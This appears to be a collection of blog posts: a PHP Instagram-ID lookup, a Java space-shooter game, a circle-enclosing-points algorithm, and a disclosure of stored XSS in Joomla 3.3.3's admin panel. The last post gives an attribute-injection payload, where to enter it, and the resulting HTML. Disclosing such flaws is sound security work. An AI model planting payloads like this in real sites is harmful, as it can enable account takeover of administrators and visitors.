[PHP] Easiest way to get the Instagram id of the given username without an access token

Details:

1) Easiest way to get the instagram id of the given username.
2) Access token is not needed.
3) Only a few lines of code.
4) PHP example available on github.
https://github.com/anakornk/Get-Instagram-ID-From-Username-PHP/

 

How it works?:
1) username = $_GET[“username”];
2) Send a get request to:
https://www.instagram.com/username/?__a=1
3) The returned JSON contains the user id.
Structure of the returned JSON:

Code:

Usage: 
Send a get request with the parameter “username”

Credits:
http://stackoverflow.com/a/38342137/5334285

Java 飞机大战 / Space Shooter

GITHUB: https://github.com/anakornk/Java-SpaceShooter
Java 飞机大战(DISTANCE,UTL)

一、成员:

陈继业 (anakornk)

付振新

王佳麟

二、操作:

左右上下来控制飞船

空格 – 大招

三、功能集锦:

吃弹药箱可以增加每次发子弹的个数

吃”改变子弹”可以改变所发射子弹的种类

吃医疗包可以增加血量

对上下移动的速度做了特殊处理,更贴合实际,有加速的感觉

背景是动态背景,而且随着游戏进行,背景会进行更换

敌方有不同的种类,而且敌方存在大boss

我方有大招,可以干掉屏幕内所有敌人以及子弹

四、游戏界面:

五、设计思想:

通过EventListener来监听用户对键盘的操作,左右上下控制飞船

多线程 – 用来画,效果,更新飞船的位置,计算是否有碰撞,生成新敌人的飞船

为了防止DeadLock 采用了锁机制

检查碰撞 – 认为每个飞船是一个长方形 检验是否有交叉

六、类的继承关系

七、有三个类用来记录常量

enemyInfo.java – 记录关于敌人飞船的信息 如生命值,图片

bulletInfo.java – 记录关于各种子弹的信息 如伤害力,图片

constant.java – 关于游戏界面的信息 如屏幕大小

八、UI

采用了JFrame,JPanel,MenuBar,MenuItem

游戏的绘画都在BattleField JPanel上 (BattleField在gamePanel Jpanel上)

What is an algorithm for enclosing the maximum number of points in a 2-D plane with a fixed-radius circle?

What is an algorithm for enclosing the maximum number of points in a 2-D plane with a fixed-radius circ… by @chhung6

Answer by Chun-Ho Hung:

There is an [math]O(N^2 \log N)[/math] deterministic algorithm. This is usually (if not always) sufficient for competitive programming contests / online judges (e.g., POJ 1981 Circle and Points).


Idea:

If there exists a circle C that encloses M points, then by slightly moving C it will touch at least two points. [1]

So, essentially we just need to check all circles which touch (at least) 2 points:

  1. For each pair of points in the given set, construct a circle with radius R that touches both points. For each point pair there are at most two such circles.
  2. For each constructed circle, check for each of the given points is inside it.
  3. Return the circle that encloses the maximum number of points.

The runtime of this algorithm is [math]O(N^3)[/math] because there are at most [math]O(N^2)[/math] such circles in step 1, and the linear scan at step 2 takes [math]O(N)[/math] time.


Runtime Improvement:

So, how can we achieve [math]O(N^2 \log N)[/math]?

The idea is as follows:

Pick an arbitrary point P from the given set. We rotate a circle C with radius R using P as the "axis of rotation" (by convention, in the counter-clockwise direction), i.e. we keep C to touch P any time during the rotation. While C is being rotated, we maintain a counter to count the number of points C encloses.

Note that this counter only changes when some point Q enters (or leaves) the region of the circle C. Our goal is to come up with an algorithm that will increment (or decrement) this counter, whenever some other point QP enters (or leaves) the region of C.

The state of the (rotating) circle C can be described by a single parameter [math]\theta[/math], where [math](r, \theta)[/math] are the polar coordinates of the center of the circle C, if we pick P as the fixed point of the polar coordinate system. With this system, rotating C means increasing [math]\theta[/math].

(Figure from Wikipedia: Points in a polar coordinate system)

For each other point Q (≠ P), we can actually compute the range of [math]\theta[/math]  for which C covers Q. Put more formally, C encloses Q whenever (iff) [math]\theta \in [\alpha, \beta][/math]. [2]

So, up to this point, the original problem has been reduced to:

What is an optimal value of [math]\theta[/math] that lies in the most number of [math][\alpha, \beta][/math] intervals?

The reduced problem can be solved with a pretty standard [math]O(N \log N)[/math] algorithm.[3] This reduced problem has to be solved N times (one for each point P), hence the time complexity [math]O(N^2 \log N)[/math].


Remarks:

The above algorithms assume that a point is considered being enclosed in a circle even if it is on the circumference. If not, we could still tweak them a bit, for example, by changing the intervals of [math]\theta[/math] from being close-close to close-open. (Hmm, probably – didn't think too much to verify, but you get the idea.)


[1]: Unless all pairwise distances are > 2R, where the answer to the maximum number of points will be 1. This can be checked in [math]O(N^2)[/math] time.
[2]: We ignore Q's with distance > 2R from P.
[3]: Probably need to be careful when handling these cyclic intervals.

What is an algorithm for enclosing the maximum number of points in a 2-D plane with a fixed-radius circle?

XSS Vulnerabilities on Joomla v3.3.3

Sent a report to the joomla! strike tream but have never received a response.
Seems like the vuln is not critical.
To trigger these xss(es) vuln you will need access to the administrative panel. Since the vuln(s) are basically the same but are in different parameters I’ll be showing an example to just one.
1) Go to the Global Configuration page:
http://localhost/joomla/administrator/index.php?option=com_config
2) Type in the following payload in “Site Name”

" onclick=alert(1) test="

3) Save
4)  On the admin page, if you click on the site logo or the site name, or on your main public page when you click on the site name, javascript will be executed.

<header class="header">
		<div class="container-logo">
			<img src="/joomla/administrator/templates/isis/images/logo.png" class="logo" alt="" onclick="alert(1)" test="">
	<span class="site-title" title="" onclick="alert(1)" test="">" onclick=alert(1) test="</span> 
		</div>
<a class="brand pull-left" href="/joomla">
						<span class="site-title" title="" onclick="alert(1)" test="">" onclick=alert(1) test="</span>											</a>
					<div class="header-search pull-right">

There are many other parameters in the admin panel that is vulnerable. Another example would be the “Banner” page. Entering the exact same payload as the one above in “Alternative Text” input box will also trigger js when the banner is clicked. Web admins that allow staffs to edit banners should be aware of this vuln as this could lead to an account takeover or something more serious.
Screen Shot 2557-07-02 at 11.07.31 PM
Screen Shot 2557-07-02 at 11.10.09 PM

Screen Shot 2557-07-14 at 4.17.37 PM